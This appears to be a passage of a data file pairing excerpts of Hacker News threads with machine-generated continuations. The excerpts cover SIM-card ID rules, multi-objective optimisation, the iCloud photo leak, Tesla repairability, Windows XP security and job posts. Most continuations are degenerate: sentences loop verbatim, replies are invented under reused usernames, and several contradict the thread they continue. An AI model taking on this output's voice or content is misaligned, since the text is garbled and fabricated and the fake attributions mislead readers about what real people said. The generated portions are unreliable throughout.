well!\n\n------\nLimes102\nReally beautiful and easy to use. Very impressed!\n\n------\nn9com\nfyi - it's already been done few years ago, \n\n------\ngcb\n30"} +{"output_text": " is for the SIM card itself, not the account.\n\n~~~\nexpertentipp\nI know, but the ID is required for the SIM card itself.\n\n------\njoshstrange\nI'm not sure why this is a surprise. I've been in Japan for a few years now\nand I've never had a problem with my SIM card. I've had a few different\nproviders and they've all been great. I've never had to worry about my", "input_text": "\n~~~\ntunap\nThis is why 'free' online services require your mobile number to activate &\n\"protect access\" to your account. Sure it works for that purpose, but more\nimportantly, for data/digital tracking, the modern mobile has become the new\ntracking super-cookie to your digital ID.\n\n~~~\nreitoei\n> the modern mobile has become the new tracking super-cookie to your digital\n> ID\n\nNever a truer word spoken.\n\n------\nJazCE\nThis is terrible news. I wanted to get a sim card for Japan, but you can only\nget a pocket wifi device, which isn't so bad, but not as straightforward as\nswapping your sim out for a local sim as i do when in the states or malaysia.\n\n~~~\nhamishforbes\nThat's not true. You just can't get a sim card with voice/SMS capability.\nForeigners can get data only SIMs no problem, most airports will sell them\n(often out of a vending machine) e.g.\n[https://t.iijmio.jp/en/](https://t.iijmio.jp/en/)\n\n~~~\njessriedel\nGiven VOIP, what is the rationale of making this distinction?\n\n~~~\ntangent128\nSo voice SIMs can't be used as throwaway cell numbers, I'd guess.\n\n------\nexpertentipp\nAn ID document and proof of address are already required in Germany when\nbuying SIM card directly from mobile network operators (i.e. Telekom, O2,\nVodafone). Apparently they plan to apply the same to resellers and virtual\noperators.\n\n~~~\njeffasinger\nThe ID requirement"} +{"output_text": "\n------\njoshu\nI think you're looking for a \"pareto front\"\n\n[http://en.wikipedia.org/wiki/Pareto_efficiency](http://en.wikipedia.org/wiki/Pareto_efficiency)\n\n~~~\nesflow\nThanks, I will look into it.\n\n------\njoshu\nI think you're looking for a \"pareto front\"\n\n[http://en.wikipedia.", "input_text": " order to normalize the data. E.g., this one is at the\n63rd percentile in size, 20th in distance, etc. This doesn't work so well if\nyou have lots of 0s in your data.\n\nOr you can find the min and max of each and divide by the max. This one is 42%\nof max, etc.\n\nIn each case you're trying to normalize diff parameters to represent something\ncomparable (x/max, percentile, etc) so you can combine them. You can also do\nintermediate operations like take the logs or take the z score if you're\ntrying to muffle the effects of outliers.\n\n~~~\nesflow\nThanks a lot, I will try it and test how well it works.\n\n------\nxaedes\nThe problem you describe is known as \"multi objective optimization\".\n\nNormalizing the input data to similar ranges usually helps, but there is no\nsingle golden rule how to weight. It depends on what you want to accomplish.\n\nBut regardless of any weighting in multi objective optimization problems there\nis a subset of all items (apartments in your case) that is better then all the\nitems not in this set. This set is called the \"pareto front\". There are\nmethods to compute this set.\n\nYou can't decide which item of the pareto front is better than another; it is\na rock, scissors, paper situation. But the pareto front can exclude a lot of\nitems, that you then don't need to consider. These items are worse in every\naspect (optimization objective) than any item from the pareto front.\n\nAs a computer science student we often used population based optimization\nmethods for dealing with multi objective optimization. For example ant colony\noptimization or evolutionary algorithms.\n"} +{"output_text": "'re going to use the word hack, you should use it correctly.\n\n~~~\ngph\nI'm not sure what you mean by \"correctly\".\n\n~~~\ntranspy\nI mean that you should use the word correctly.\n\n------\njoshstrange\nI'm not sure why this is getting so much attention. I'm not a celebrity, I\ndon't have an iCloud account, and I don't have a password that is easy to\ngu", "input_text": " iCloud accounts\n\nWhy do people still parrot this line? Unless I missed some later revelation,\nthis was barely even Apple's fault. They may have had some subpar security\npractices, but it's not like their system was utterly compromised like this\nmakes it sound.\n\nI'm not an Apple fan, but they don't deserve the ignorantly parroted line that\nthey let celebrities phones get compromised. And I would especially expect\nmore from the New York Times. That statement is almost libel.\n\n~~~\nakamaka\nIf the claims that they ignored warnings are correct, I would indeed lay most\nof the blame on Apple:\n\n[http://iphone.appleinsider.com/articles/14/09/25/researcher-...](http://iphone.appleinsider.com/articles/14/09/25/researcher-\naccuses-apple-of-ignoring-icloud-brute-force-attack-for-6-months)\n\nIt may be the case that celebrities chose poor passwords, but how can you\nblame them? Did Apple enforce strong passwords? Did it allow an excessive\npassword retry rate? Did it fail to follow up on warnings from security\nresearchers?\n\nUnless the answer to each of those questions is \"no\", it is entirely fair to\nblame them.\n\n~~~\ngph\nI suppose what mostly bugs me is using the word hack. Calling something that\nappears to be targeted social engineering a hack seems wrong to me. I guess\nthe definition of hacking has been rather fluid in recent years. Course that\nword has been redefined and misused for a very long time so I guess I\nshouldn't be surprised.\n\n~~~\ntranspy\nIf you"} +{"output_text": " be a problem with the car, but\nwith the brakes. The dealer can't fix it, because they don't have the\nnecessary tools.\n\nSo we have to take it to a mechanic, who can't fix it because he doesn't have\nthe tools.\n\nSo we have to take it to a mechanic, who can't fix it because he doesn't have\nthe tools.\n\nSo we have to take it to a mechanic, who can't fix it because", "input_text": " an\nelectric. As a bit of a car-geek myself, I'll admit that electrics are rather\n\"boring\" and for the same reason I'm not so interested in the newer super-\ncomputerised vehicles either; it's the noisy, smelly, smoky, aggressive,\nobnoxious-mechanical-monster nature of petrol/diesel engines that's the really\n\"fun\" part. Batteries, electronics, and motors just don't evoke quite the same\nfeeling.\n\n~~~\nAmezarak\nAt least for me, it's not about souping the car up, it's about doing repairs\nand maintenance myself because a) it's cheaper and b) it's more convenient.\n\nIf I knew I was going to have to drive a car to the dealership anytime\nsomething went wrong, I would not buy that car. It's a big hassle (especially\nif the dealership is any distance away) and almost always outrageously\nexpensive for anything outside of warranty. And if it's something that I can't\ndo myself, I'd rather take it to a cheaper local mechanic I know and trust.\n\nAccording to the article, Teslas only have service manuals available in\nMassachusetts (and there only on an extremely expensive subscription basis),\nno independent shops, and doesn't have a working OBD-II port. That sounds like\na nightmare to me.\n\nGranted, it's way out of my price range anyway. ;)\n\n~~~\nmcv\nSame here. We recently bought a second hand Prius at an official dealer\n(because new is unreasonably expensive, we do care about emissions, and I\nthink we got some warranty from the official dealer). Half a year later, the\nbrakes need to be replaced. Turns out not to"} +{"output_text": "'m not.\n\n------\njamesjyu\nI'm a designer, and I've been working with developers for a long time. I\nstarted out as a designer, and then moved to development. I've been doing both\nfor a long time.\n\nI think the biggest thing is to understand the difference between design and\ndevelopment. Design is about the visuals, and development is about the\ninteraction.\n\nI think the biggest thing is to understand the difference", "input_text": " from other people and their process (like with simple todo app,\nCultured Code produces a lot of sketches and mockups\n and one of other Rails\nRumble attendees described their process:\n[http://www.thevisualclick.com/notebook/2010/10/2010-rails-\nru...](http://www.thevisualclick.com/notebook/2010/10/2010-rails-rumble-the-\ndesign-process-of-commendable-kids/)\n\nC) - In our company we usually have 2-3 person teams, where one of them is a\ndesigner, which is something I would recommend. Personally I think the best is\nif the designer can also implement the design, because Photoshop mockup is not\nthe actual design, the app or it's interface is. For best result, you need to\nbe charge of the whole interaction.\n\nD) - I'm not that sure which way around I got started, I had some classical\narts education as a kid, and later started making websites and developed some\nweb services. I'm quite bad programmer, altough in addition to html&css I can\nhandle javascript, rails and php.\n\nI think the first step is to know what's is great and what isn't so you know\nhow well you're doing in your own projects. So develope your taste by\nsurrounding yourself with great design. And like in any other learning, the\nkey is just practice. If you have coded hundreds of features, then by the same\ntime I might have done dozen of designs.\n\nFor me the hardest part still finding the right process for some cases.\nSometimes I'm able to see the whole thing right way, and sometimes I"} +{"output_text": "\n~~~\njotm\nI'm not saying it's doomed, but it's not going to be a success.\n\n------\njotm\nI'm not sure if this is a good idea, but I'm going to try it.\n\nI'm going to try to get a Huawei phone, and install LineageOS on it.\n\nI'm going to try to get a Huawei phone, and install LineageOS on it.\n\nI'm", "input_text": " election problems; they're still nothing like the fraudulent elections in Russia/China/etc.\n \n\n\\- We have healthy opposition parties.\n\n\\- We actually believe the US is a work in progress, not \"perfect as it is\"\n(see: \"a more perfect union\").\n\nSure there's a lot of work to do. And I'm sympathetic to the fact that China\nand Russia face different challenges than we do. But I absolutely refuse to\naccept the assertion that the US is anywhere near the same point on the\nauthoritarian spectrum as they are. Such comparisons are facile, ignorant, and\nreinforce a nihilistic vision of Western, classically liberal values that is\nat the root of the rise of nationalism and authoritarianism -- which is itself\nresponsible for the destruction of many millions of lives across the world.\nThese things are not the same, any more than Democrats and Republicans are the\nsame. One is clearly better than the other, and it is literally a matter of\nlife and death that we figure that out.\n\n------\njotm\nIf only Huawei devices will use it, it's doomed. I've said it before and got\ndownvoted, but here's the truth again: Android's app ecosystem is what makes\nit popular, followed by the huge number of manufacturers using it.\n\nMicrosoft failure with Windows Phone was partly because even after\nincentivizing developers, they still could not get a critical mass of apps on\ntheir platform. Plus any new apps were not getting WP versions along with\nAndroid/iOS.\n\nHuawei is huge, but not outside China, for consumers. Couple that with\neveryone being wary of their spyware and whatnot. Samsung tried this at some\npoint with Tizen, but quickly gave up, as well.\n"} +{"output_text": " with lots of global variables and functions, and no namespacing.\n\n* the documentation is not very good, and the examples are not very good.\n\n* the documentation is not very good, and the examples are not very good.\n\n* the documentation is not very good, and the examples are not very good.\n\n* the documentation is not very good, and the examples are not very good.\n\n* the documentation is not very good, and the examples are", "input_text": " want to change the appearance of your component, do you\nwant to modify styling logic in two places or one?\n\n~~~\nandrewingram\nOne, that's why I style inline :)\n\n~~~\nnailer\nDo you mean inline in CSS / style tags, avoiding visual HTML classes (in which\ncase we're in agreement - there's one way to edit how something looks, though\nstyle tags have other issues) or combining either of those with visual HTML\nclasses like this library uses?\n\n~~~\nandrewingram\nOkay, I think we're in agreement and are just crossing wires a but. The main\nreason i'm loosely okay with Semantic UI is that I just see it as using HTML\nfragments as building blocks rather than using JavaScript components. I\nwouldn't advocate it for anything elaborate, but I think it can work well\nwithin a certain problem space.\n\n------\njwr\nI use Semantic UI in production on\n[https://partsbox.io/](https://partsbox.io/) and can list some upsides and\ndownsides.\n\nOn the positive side:\n\n* very complete, with good form styling, and lots of widgets you will use often, which is especially important for larger apps,\n\n* the default theme is mature and has good usability, without the crazy \"oh, how flat and invisible our UI is!\" look.\n\n* the class naming plays well with React (I use ClojureScript and Rum) and looks good in your code,\n\nOn the negative side:\n\n* the CSS is huge and there is little you can do to trim it down,\n\n* the JavaScript code is not Google Closure-ready, so it's a drag compared to my ClojureScript codebase: large and unwieldy,"} +{"output_text": " far as I know, there are no security bugs in any of those Windows\nversions.\n\nI have no reason to believe that any of the later Microsoft operating systems\nare more secure than XP.\n\nI have no reason to believe that any of the later Microsoft operating systems\nare more secure than Windows 7, 8, 8.1, or 10.\n\nI have no reason to believe that any of the later Microsoft operating systems\nare more secure than Windows 7, 8,", "input_text": " and your OS has not had support from Microsoft since 4/8/14\\. Your\nsystem is in desperate need of an upgrade, which could help prevent viruses.\nThe longer you operate an outdated system, the likelier you are to encounter a\nvirus.\n\n~~~\ngraycat\nDeleted.\n\n~~~\ngruturo\nWhile I agree with you on Windows versions later than XP being markedly worse\nfrom a technical guy's usability perspective (actually Windows Server 2003 +\nnlite/ xplite was the best client OS setup I ever used ), you are denying\nyourself a very significant amount of security patches and I would define this\nbehaviour as a bit irresponsible of your PC only contains your own data, and\npossibly illegal if you have any customer personal data or payment\ninformation. I hate the newer Microsoft OSes as much as you but run Windows 10\n(plus a healthy amount of Non-Microsoft OSes). At least upgrade your browser\nbecause that's the main entry vector for malware nowadays, you will find that\nrecent versions of Firefox are quite enjoyable - latest one even started\nrunning some tasks in dedicated processes (just experimentally for now)\nresulting in a more responsive interface.\n\n~~~\ngraycat\nI have no solid information at all that indicates that any Microsoft operating\nsystem is more secure than Windows XP SP3 with the latest Microsoft patches.\nNone. No such information at all.\n\nFor all I know, all Microsoft patches for later Microsoft operating systems\nare only for bugs in those operating systems and not for bugs in the XP\nversion I am running.\n\nI have no even reasonable information that there are any security bugs in the\nXP installation I have.\n\nI have no reason to believe that Windows 7, 8, 8.1, or 10 is more secure than\nXP; as"} +{"output_text": ".\n\n------\njoshu\nI think the NYT is a great example of a company that is doing the right thing\nfor the right reasons.\n\n~~~\njoshu\nI think the NYT is a great example of a company that is doing the right thing\nfor the right reasons.\n\n------\njoshu\nI think the NYT is a great example of a company that is doing the right thing\nfor the right reasons.\n\n------", "input_text": " has a certain\nunity within the chaos. But it's not really chaos. The content is the layout.\nYou won't find any other News organization who understands design more than\nNYT. They let the content design the layout, not the other way around.\n\nAndy turned NYT into a Wordpress blog. :|\n\nI'll give him credit for the work though, but I personally think NYT is an\nexception. But go ahead, every other news website, you have Cart Blanche.\n\ncc: Khoi Vinh\n\n~~~\nscott_s\nI feel the same. I think the NYT's online page is fantastic - so much so that\nI pay $16 a month for it. I think they do an excellent job of laying out pages\nonline yet still feeling like a _newspaper_. I _like_ looking around the page\nfor different stories, just as I would in a newspaper page. It's engaging, and\nI can't help but scan the whole page, read the headline, check out the picture\ncaptions.\n\nWhen I look at his blog-style page, my eyes just glaze over the headlines.\n\nThe NYT App on the iPhone is basically his mobile mockup. And I've found that\neven on my iPhone, I'd rather look at the proper front page.\n\n~~~\nrationalbeats\nI thought it was $8 a week?\n\n~~~\njonknee\nThat's for the \"All Access\" package which nets you a tablet app and a\nsmartphone app. The cheapest package is $3.75 a week.\n\nI would have subscribed, but they gave me a free year after introducing the\npaywall.\n\n~~~\nrationalbeats\nActually I did not realize that. Thanks for that"} +{"output_text": ".)\n\n~~~\npeterwwillis\nI don't think it's a matter of over-representation. I think it's a matter of\nunder-representation.\n\n------\njimmywanger\nI'm not sure if this is a good thing or a bad thing.\n\nOn the one hand, it's a good thing that people are finally talking about\ndiversity.\n\nOn the other hand, it's a bad thing that people are talking about", "input_text": " that\n> inflict maximum company damage.\n\nHow did he inflict damage on the company?\n\nWhoever _leaked_ this _internal memo_ did the damage, but I haven't seen any\nwitch hunt or firing in that regard.\n\nStrange, eh?\n\n------\njoelrunyon\nWhy is this on the second page with 246 points in 1-2 hours? Seems strange...\n\n~~~\nmd224\nNot sure if you'll see my reply, but this happens often to HN submissions on\npolitically charged topics. The topic gets flagged to death. It's been like\nthis for a long time.\n\n~~~\njoelrunyon\nWhy wouldn't I be able to see your reply?\n\n------\nDowwie\nWhat are the chances anyone at Google read the Memo as carefully as this\nauthor did before persecuting James Damore?\n\n~~~\nDiederich\nI suspect the contents of the memo had little to do with Google's official\nreaction to it.\n\n------\nturc1656\nStop the presses. You mean to tell me the major media organizations used a\nmisleading headline and description for something highly politicized?! I'm\nshocked. Shocked, I tell ya.\n\n------\npeterwwillis\nLanguage and gender nit-pick: having men and women at 100% parity is not\ngender diversity, it is gender-binary. You would have to hire a lot more non-\nbinary-gendered people for it to be diverse.\n\n~~~\nsn9\nI honestly wouldn't be surprised if non-binary-gendered people are _over-\nrepresented_ in tech.\n\n(This is just an impression I have based on things I've read in the past, so I\ncan't be sure"} +{"output_text": " Embedded software engineers (C/C++, Python, Rust, iOS, Android)\n\n* Hardware engineers (RF, SDR, FPGA, DSP, microcontrollers)\n\n* Test engineers (Python, C, C++, Android, iOS, hardware)\n\n* Project managers\n\n* Product managers\n\n* UX designers\n\n* Mechanical engineers\n\n* Electrical engineers\n\n* Aerospace engineers\n\n* Computer vision engineers\n\n* Computer", "input_text": "/UI/Product Design\n\nYou can see all our roles at:\n[https://www.lovepopcards.com/pages/jobs](https://www.lovepopcards.com/pages/jobs)\n\nI'm Max, and I head up product at Lovepop. we combine hardcore engineering\nwith paper to make amazing 3D greeting cards and invitations. We're building a\ncustomization engine on top of of our product and are building out a team\naround it. We closed a $6m A round in November and have a very fast growing,\nsurprisingly large e-commerce/direct-to-consumer business.\n\nOur interview process starts with screening directly with myself or our head\nof engineering, depending on the role may involve a (small!) piece of homework\nand a few hours with various members of our team. We don't believe in coding\nwhiteboards!\n\nReach out with q's! max (at) lovepopcards.com\n\n------\ngedmark\nAstranis (YC W16) | San Francisco, CA | Full-Time | Onsite | US Citizen or\nGreen Card\n\nWe\u2019re building small, low-cost telecommunications satellites. Our mission is\nto help bring the 4 billion people online who are without internet. And to\npull it off we have to reinvent microwave-frequency radios in space using\nSDRs.\n\nWork with engineers from SpaceX, Google, Qualcomm, and Planet Labs who have\nflown things in space before. Well-funded, but still a small team that moves\nfast. No prior space experience needed, you just need to enjoy getting your\nhands dirty with real hardware and be ok with struggling to do things that\nseem impossibly hard.\n\nRoles we\u2019re hiring for include:\n\n*"} +{"output_text": " it's for a bank or a government\nagency, I'm not sure I'd be as happy as I am now.\n\n~~~\ndeutronium\nI think it's more about the people you meet, and the things you do.\n\nI'm not sure I'd be as happy as I am now, but I'm sure I'd be a lot happier\nif I'd met people who were as passionate about what they do as I am.\n\n------\nj", "input_text": " teach you anything. You have to teach yourself._\n\nSounds _exactly_ like a library, except (I presume) extremely expensive. I\nonly went to college because I assumed (correctly) that at least a few great\nminds would be there. What's the upside to Berklee?\n\n~~~\ncoliveira\nthe same: \"few great minds would be there\"\n\n------\nsayemm\nI freaking love this, thanks for posting it\n\nA ton of great lines in there, as Derek Sivers is an amazing writer jam-packed\nw/ wisdom much like PG, but this is my most fav one out of the pack:\n\n\"But the casual ones end up having casual talent and merely casual lives.\"\n\n------\ntomjen3\n>When you emerge in a few years, you can ask someone what you missed, and\nyou'll find it can be summed up in a few minutes.\n\n>The rest was noise you'll be proud you avoided.\n\nYes -- almost, but you will properly feel that there are one or two things\nthat you didn't experience that you will miss not being a part of.\n\n~~~\ndreaming\nExactly. Important not to overlook the benefits of meeting like minded people\nwho can help inspire you, or just keep you sane.\n\n------\ndeutronium\nReally loved that post.\n\nEspecially the quote \"The casual ones end up having casual talent and merely\ncasual lives.\"\n\n~~~\nGianteye\nI'm not sure about that. There are plenty of boring jobs to be had, and quite\na few of them are to be had at Google. I suppose banality and life\nsatisfaction aren't mutually exclusive, but it's the case for me. Doing\ncomputational database analysis whether"} +{"output_text": " it was also much easier to debug.\n\n------\njedberg\nI'm curious how this compares to the performance of the browser itself.\n\n~~~\naasasd\nI don't know, but I'd guess that the browser itself is a lot more optimized\nthan the browser extensions.\n\n------\njedberg\nI wonder if this is a good way to test the performance of a browser extension?\n\n~~~\naasasd\nI don't", "input_text": " that the extra work\nisn't especially slowed down because of lack of GPU.\n\n------\nerikrothoff\nCool to see our extension tested (an RSS reader). What's great with this is\nthat it gives us a metric to work towards improving. I've always been under\nthe assumption that \"cpu is cheap\", but it does have real effects.\n\n------\nhelltone\nIf the author is here, can I suggest testing the Dark Reader extension too?\n\n~~~\nmostlystatic\nHere are the test results for Dark Reader: [https://www.debugbear.com/chrome-\nextension-performance-looku...](https://www.debugbear.com/chrome-extension-\nperformance-lookup?search=dark%20reader)\n\nI also briefly mention it in the section on FCP, explaining why it makes sense\nfor the extension to use render-blocking content scripts.\n[https://www.debugbear.com/blog/2020-chrome-extension-\nperform...](https://www.debugbear.com/blog/2020-chrome-extension-performance-\nreport#page-rendering-delays)\n\n------\nthomasahle\n> The Avira Browser Safety extension contains a website allowlist with 30k+\n> regular expressions. When the user navigates to a new page Avira checks if\n> the page URL is in that allowlist\n\nI wonder who thought that would be a good idea... Sounds like something that\ncould be significantly improved by compiling all patterns into a single\nstatemachine.\n\n~~~\naasasd\nYeah, back when I was doing similar matching on a big bunch of regexes, it was\nvastly faster to match on all of them lumped together in a group with the \u2018or\u2019\noperator. And"} +{"output_text": "HU)\n\n~~~\nKiro\nThanks. I'll try that.\n\n------\njoshu\nI'm not sure I'd call this a \"trick\".\n\n~~~\njoshu\nI'm not sure I'd call this a \"trick\".\n\n------\njoshu\nI'm not sure I'd call this a trick.\n\n------\njoshu\nI'm not sure I'd call this a trick.\n\n------\n", "input_text": " other bag. Catch them both.\n\n8\\. Repeat without pausing another 100 times.\n\n9\\. Hold two bags in your dominant hand and one in your other hand. Toss the\nfirst, wait for the top of the arc and toss the second, wait for the top of\nthe arc and toss the third.\n\n10\\. You're juggling. Drop all the bags to celebrate.\n\n~~~\njay-anderson\nDefinitely. I've had a hard time convincing people to do the required\nrepetitions. They end early and say that they can't juggle. The few people\nthat have, successfully juggle in a relatively short amount of time. Their\nform isn't great and they can't keep it up for a long time, but they have a\ngreat start.\n\nA couple other exercises/tips worth mentioning:\n\n\\- Start with your non-dominant hand for 2 balls as well (alternate which hand\nyou start with).\n\n\\- Stand over a couch or bed to make it less costly to drop a ball.\n\n\\- Stand in front of a wall to notice when you're moving forward.\n\n\\- For the advanced: try two in one hand (much harder than 3). Will make 3\nball juggling easier.\n\n~~~\nKiro\n> try two in one hand (much harder than 3). Will make 3 ball juggling easier.\n\nWhat does this mean?\n\n~~~\nscbrg\nNot GP, but if I were to guess: Try juggling only two balls, but use only one\nhand. Here's a video for demonstration:\n[https://www.youtube.com/watch?v=9uMui692JHU](https://www.youtube.com/watch?v=9uMui692J"} +{"output_text": "[https://twitter.com/Cory_Elia](https://twitter.com/Cory_Elia)\n\n[https://twitter.com/CoryElia](https://twitter.com/CoryElia)\n\n[https://twitter.com/CoryElia2](https://twitter.com/CoryElia2)\n\n[https://twitter.com/CoryElia3](https://twitter.com/Cory", "input_text": " the federal officers.\nThe BLM-led Justice Center protests weren't the chaotic courthouse protests,\nand the 2-3k who came out for a week of feds has been less than 500 for most\nof the other 2 months and change. The west-side downtown protests in a 4-block\nzone around the center and courthouse aren't the east-side precinct and police\nunion HQ marches with local police chasing protesters and beating media into\nresidential neighborhoods.\n\nOr maybe I'm still just pissed about AGNB showing mayor Ted Wheeler in a\nsympathetic context, complete with his theatric tear gassing the one time he\ncame out to a protest, without the other context of how the PPB he runs as\npolice commissioner beats and gasses media and protesters as soon as cameras\nlike AGNB's left the fed protest stage - literally, PPB went out threatening\nto gas the same crowd he stood with within 45 minutes of Wheeler leaving the\nprotest.\n\nI guess my feeling is, some things aren't simple or clear enough to be\naccurately served by pithy but entertaining 5- or 10-minute videos. It's one\nlens, and a good one, but I get real nervous when people say AGNB is the model\nfor news.\n\nVery few links of people on the ground:\n\n[https://twitter.com/MrOlmos](https://twitter.com/MrOlmos)\n\n[https://twitter.com/TheRealCoryElia](https://twitter.com/TheRealCoryElia)\n\n[https://twitter.com/PDocumentarians](https://twitter.com/PDocumentarians)\n\n[https://twitter.com/Clypian](https://twitter.com/Clypian)\n\n"} +{"output_text": "\n \n 1) Phone screen (~30 min)\n 2) Onsite (~2 days)\n 3) Offer\n \n We're a small team (~20) and we're looking for people who are smart,\n passionate, and want to work on a small team with a big impact.\n \n We're located in the Mission Bay area of San Francisco, but we're open to\n remote work.\n \n ", "input_text": "), ElasticSearch, MySQL, Python, R (Data!)\n\nIf you're interested, contact andres.galindo at flexshopper.com\n\n~~~\nmrferos\nShould've specified, we're moving away from Deis V1 (CoreOS-based).\n\n------\nmookerji\n\n Swift Navigation | SF | Hardware/Infrastructure/Scientific Software Jobs | INTERNS / VISA\n \n Swift Navigation is looking for firmware, scientific tooling, and infrastructure\n software engineers to work with us on high-precision GPS receivers\n (https://github.com/swift-nav/). We're shipping this week (!) the world's first\n low-cost, multi-constellation, inch-accurate satellite navigation receiver for\n autonomous vehicle applications. Questions? Email Buro (mookerji@swiftnav.com)\n or Margaret (jobs@swiftnav.com) or apply to https://jobs.lever.co/swift-nav.\n \n + Firmware (Production embedded programming on the Zynq platform, FPGA-based\n DSP, C, C++, Python, VHDL, real-time Linux).\n \n + Scientific Python Tooling (production scientific Python for product\n prototyping, testing, and analysis).\n \n + Web and internal platform infrastructure (front ends, rear ends, services,\n production programming, Haskell, Python, JS, C++, containerized distributed\n workflows, etc. etc. etc.).\n \n + Interns with interesting project experience in any of the above, or interested\n in hacking together hardware/software demos for new applications, integrating\n UAV autopilots.\n \n Our interviews have a few steps:"} +{"output_text": " in your garden, but this robot\ncan't do that.\n\n~~~\njessaustin\nI'm not sure why you're being downvoted. This is a very interesting\napplication of a very interesting technology.\n\n~~~\ndajonker\nI'm not sure why you're being downvoted either. I'm not sure why you're being\ndownvoted either.\n\n------\njessaustin\nI'm not sure why you're being", "input_text": "\nwhere the video is you should be able to check it out.\n\n------\namadeusw\nAm I wrong thinking that after a few weeks of cutting the leaves, the root\nwill become gigantic and will keep producing leaves at a faster rate? The only\nway to get rid of dandelions is to pull the ever growing root from the ground.\n\n~~~\ntwic\n_How does it remove them? Won\u2019t the weeds just grow back?_\n\n _Tertill whacks weeds using a spinning string trimmer, which cuts the weed\noff near the ground. Because Tertill lives in your garden and goes looking for\nweeds every day, weeds are always small when the robot finds them. A whacked\nweed may sprout again, but sprouting takes energy stored in the seed or root.\nBy coming back every day, Tertill never lets a weed develop the leaves it\nneeds to replenish this energy, so eventually the weed gives up and dies._\n\n[https://www.tertill.com/how-it-works/](https://www.tertill.com/how-it-works/)\n\n~~~\nTremendousJudge\nthey managed to invent something even more stubborn than garden weeds\n\n------\nrmason\nSo you will end up with a bunch of weeds inside your collar. Someone hasn't\nthought this through. I've walked a lot of fields over a twenty year period,\nweeds aren't always in the middle of the rows.\n\n~~~\nnoobiemcfoob\nSo...you pick the weeds out of the collar? You've reduced the land you have to\nmaintain to just that which this robot can't get to.\n\n------\ndajonker\nTLDR; you are supposed to get rid of all weeds"} +{"output_text": " it is\nequally important to evaluate yourself.\n\n------\njoeclark77\nI've been in the software industry for over 20 years, and I've never seen a\ncompany that was so bad that it was worth quitting.\n\nI've seen companies that were so bad that they were worth quitting, but I've\nnever seen a company that was so bad that it was worth quitting.\n\n~~~\njoeclark77\nI'm not", "input_text": " No, NO, No (to all the tips and shortcuts)\n\nYour first job out of college has a high probability of being a bad fit and\nthis is especially true if you're desperate to just get hired. So, it didn't\nwork out... happens a lot. The important thing to do is to figure out what YOU\nwant out of a job/workplace and to assess what that potential job can do for\nyour career.\n\nI think its a waste of time to try to figure out some minimal set of \"red\nflags\" to use for future interviews. Just look at the big picture, there's no\nsingle red-flag that will tell you definitively that a place is miserable (nor\nis there a single observation that signals an awesome place-- foozball and\nsnacks won't make up for asshole-driven management).\n\nPerhaps even more important than what you observe during an interview is to\nreally examine your own needs and expectations. SOoooo many people are unhappy\nWHEREVER they go and always blame it on management, co-workers, the industry\nor whatever. This kind of serial discontent is a sign that the there's\nsomething wrong with the individual rather than their workplace(s).\n\n~~~\njudahmeek\nDo you have statistical evidence to support your claim regarding serial\ndiscontentment?\n\n~~~\ncrispyambulance\nNo. I don't know why anyone would even attempt such an experiment. These are\nvery subjective topics and it would be hard to even pose a testable\nhypothesis. My claim is based strictly on life experience.\n\nAll I am saying is that people who take on one job after another and remain\nunhappy would benefit from some serious introspection.\n\nIn other words, as important as it is to evaluate potential employers,"} +{"output_text": " the\nupdates.\n\n~~~\njosteink\n> File explorer freezes / crashes.\n\nI\u2019ve had this happen to me on Win10.\n\nI\u2019ve had to reboot the machine to get it to work again.\n\nI\u2019ve had to reboot the machine to get it to work again.\n\nI\u2019ve had to reboot the machine to get it to work again.\n\nI\u2019ve had to reboot the machine to get it to", "input_text": " the old one.\n\n~~~\nzamadatix\nMost things in Settings aren't in the Control Panel and a lot of what is in\nthe Control Panel opens the Settings app (e.g. Control Panel -> Default\nPrograms -> Set your default programs)\n\n------\nsuby\nIt's worth a mention just how buggy win10 has been for me. I don't spend much\ntime working in windows, but every time I do I encounter one issue or another.\n\nFile explorer freezes / crashes.\n\nThere is that one empty folder on my desktop that I cannot delete because it\nis in use, but there is nothing in the folder and no program is conceivably\nusing it.\n\nThere are occasional glitches with git. It wouldn't let me clone a git repo\nsomewhere because it said the folder already existed. No such folder existed.\nChanging the destination name did nothing. Restarting fixed it.\n\nThere was a bug which kept rearranging the order of desktop icons, which was\nactually pretty annoying.\n\nThere is a bug that they seem to fix and then break with every other update.\nBasically, if I go fullscreen with some programs and two monitors set to\nmirror, the resolution zooms in and it's unusable. This is currently broken in\nthe latest stable release.\n\nInstalls from the windows store almost always fail for no obvious reason.\n\nI updated to 1909, or w/e the latest is, hoping that some of the isues I've\nencountered would be fixed. I've reinstalled the driver and tried fixing it\nbut the USB wifi adapter that I have now no longer works (still works fine in\nLinux).\n\nI could go on. That is with me going out of my way to not install"} +{"output_text": "\n\n\\- Experience with big data technologies (Hadoop, Spark, Hive, Impala,\nKafka, \u2026)\n\n\\- Experience with real-time technologies (Kafka, Storm, Spark Streaming,\nKinesis, \u2026)\n\n\\- Experience with machine learning (we use Spark MLlib, TensorFlow,\nTensorFlow Serving, \u2026)\n\n\\- Experience with data processing (we use Spark, Hive, Impala, \u2026)\n\n\\-", "input_text": "as that\nrepresent and support business processes \\- Git code versioning tool \\-\nHeroku\u2019s deployment, logging, and add-on resources. \\- Hosted Search APIs and\nhow to efficiently integrate with third party data stores (specifically\nAlgolia).\n\nExperience: 2-4 years Apply here:\n[https://cycle.workable.com/jobs/419205](https://cycle.workable.com/jobs/419205)\nInterview process:\n\n\\- Recruiter application/resume screening \\- Recruiter phone screening \\- On-\nsite interviews with key stakeholders and senior software engineers \\- On-site\nor take-home technical coding challenge/exercise\n\n------\nmsavelyev\nmbr targeting / Str\u00f6er Digital Group | Big Data Engineer | Berlin, Germany |\nFull-time, On-Site\n\nAt mbr targeting in Berlin we are developing and scaling the core technology\nthat powers Germany's market leading digital advertising company Str\u00f6er.\n\nWith online advertising being one of the most challenging fields in high\nperformance computing and data processing, we are working at the cutting edge\nof big data, machine learning and real-time technologies and we are operating\nlarge-scale deployments of real-time web services.\n\nTo expand our team of highly skilled engineers we are looking for talented\nengineers who either already have some experience with big data technologies\nor who are willing to expand their skill set into the area of these\ntechnologies.\n\nThe languages we're speaking are Java, Scala and Python (if you\u2019re fluent in\nonly one of them that's fine!) and technology buzzwords include Hadoop, Spark,\nFlink, Storm, Hive, Impala, Kafka, Druid, \u2026\n\nAlso we\u2019re looking for the following:"} +{"output_text": "\n\n------\njrockway\nI'm not sure if this is a joke or not, but I think it's funny.\n\n------\njrockway\nI'm not sure if this is a joke or not, but I think it's funny.\n\n------\njrockway\nI'm not sure if this is a joke or not, but I think it's funny.\n\n------\njrockway\nI'm not sure if this is a joke or not", "input_text": " hinter fliegen fliegen, fliegen fliegen fliegen 